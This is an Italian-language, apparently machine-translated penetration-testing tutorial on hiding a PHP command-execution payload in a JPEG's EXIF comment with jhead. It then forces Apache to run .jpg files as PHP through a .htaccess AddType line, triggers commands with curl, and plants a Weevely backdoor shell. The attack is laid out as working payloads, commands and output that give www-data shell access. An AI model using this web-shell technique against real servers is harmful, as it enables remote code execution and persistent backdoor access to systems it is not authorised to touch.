Per manipolare i campi dei metadati JPEG EXIF, userò lo strumento jhead
della riga di comando. Esistono molti altri strumenti là fuori con funzionalità simili da scegliere per le tue esigenze.
Ora che il nostro strumento di manipolazione dei metadati consente di raccogliere un'immagine jpeg casuale e leggere i metadati.
root@testbed:~# jhead image.jpg
File name : image.jpg
File size : 208103 bytes
File date : 2011:09:07 21:20:10
Date/Time : 2007:04:24 14:11:55
Resolution : 1197 x 478
======= IPTC data: =======
Record vers. : 2
Il file è praticamente pulito, quindi rendilo un po 'più sporco nascondendo del codice PHP nel campo dei commenti dei metadati. Per modificare il campo del commento, userò il flag -ce
dello strumento jhead
.
root@testbed:~# jhead -ce image.jpg
Modified: image.jpg
root@testbed:~# jhead image.jpg
File name : image.jpg
File size : 182007 bytes
File date : 2011:09:07 21:20:10
Resolution : 1197 x 478
Comment : <?php passthru($_POST['cmd']); __halt_compiler();
Usando la funzione passthru
possiamo eseguire un comando esterno sulla macchina di destinazione. Il comando viene passato alla destinazione usando il metodo POST sotto il nome "cmd". Qui qualcuno potrebbe pensare che possiamo usare anche il metodo GET per passare il comando alla macchina di destinazione. È vero, possiamo anche usarlo, anche se i comandi che inviamo alla destinazione sono facilmente visibili nel log di accesso di httpd perché fanno parte dell'URL.
Il comando halt_compiler
impedirà al compilatore di analizzare i dati binari delle immagini. Le informazioni sui metadati sono archiviate prima dei dati delle immagini, quindi dobbiamo interrompere il compilatore dopo il nostro codice, perché se si verifica un <?
nei seguenti dati binari, l'esecuzione si interromperà. Ecco perché non è necessario chiudere la sezione PHP.
Ora che abbiamo nascosto il codice PHP nel file immagine, dobbiamo forzare il server web di destinazione a gestire il file .jpg come file PHP. Per raggiungere questo obiettivo utilizzeremo la direttiva AddType
in un file .htaccess
. La direttiva AddType
esegue il mapping di un'estensione di nome file su un tipo di contenuto specificato. Per utilizzare la direttiva AddType
, Apache di destinazione deve avere mod_mime
abilitato e consentire almeno FileInfo
di override nella directory in cui inseriremo il file.
Caricheremo il file jpg dannoso nel percorso dei file multimediali, quindi dobbiamo inserire un .htaccess
nella directory pertinente con i file .jpg di mapping della direttiva AddType
su .php.
root@webtestbed:/var/www/media# echo “AddType application/x-httpd-php .jpg” >> .htaccess
OK, tutto è impostato in modo da consentire di avviare il nostro primo tentativo di eseguire un comando nel computer di destinazione. Per inviare il comando usando il metodo POST, userò lo strumento curl
.
root@testbed:~# curl -d cmd=id http://192.168.2.11/media/image.jpg
.........JFIF..........................................................uid=33(www-data) gid=33(www-data) groups=33(www-data)
Bingo! il comando è stato eseguito correttamente nel computer di destinazione. La spazzatura all'accattonaggio dell'output è causata dai dati dell'intestazione dell'immagine.
Qualcosa che deve essere menzionato qui, è che alcune configurazioni PHP potrebbero avere passthru
incluso nelle loro funzioni disabilitate. In questo caso puoi scegliere una funzione simile come system
, exec
, shell_exec
, ecc.
Ora che abbiamo confermato che la nostra tecnica funziona, nascondiamo un'intera shell backdoor PHP nel campo dei commenti della stessa immagine. A tale scopo, sceglierò la shell PHP, ma puoi scegliere una shell alternativa che hai nel tuo pentest arsenal.
Inizialmente creiamo la shell con lo script elaborato e quindi copiamo il codice PHP generato nel campo dei commenti dei metadati.
root@testbed:weevely# ./weevely.py -g -o back.php -p admin
Weevely 0.3 - Generate and manage stealth PHP backdoors.
Copyright (c) 2011-2012 Weevely Developers
Website: http://code.google.com/p/weevely/
+ Backdoor file 'back.php' created with password 'admin'.
Infine, al fine di stabilire un terminale con il server di destinazione, chiamiamo con forza il flag del terminale che fornisce l'URL dell'immagine e la password che abbiamo usato nel passaggio di creazione.
root@testbed:weevely# ./weevely.py -t -p admin -u http://192.168.2.11/media/image.jpg
Weevely 0.3 – Generate and manage stealth PHP backdoors.
Copyright (c) 2011-2012 Weevely Developers
Website: http://code.google.com/p/weevely/
+ Using method ‘system()’.
+ Retrieving terminal basic environment variables .
[www-data@webtestbed /var/www/media] ls
image.jpg
[www-data@webtestbed /var/www/media] id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
[www-data@webtestbed /var/www/media]
Pwned! Abbiamo l'utente Apache (www-data) a privilegiare l'accesso al computer di destinazione.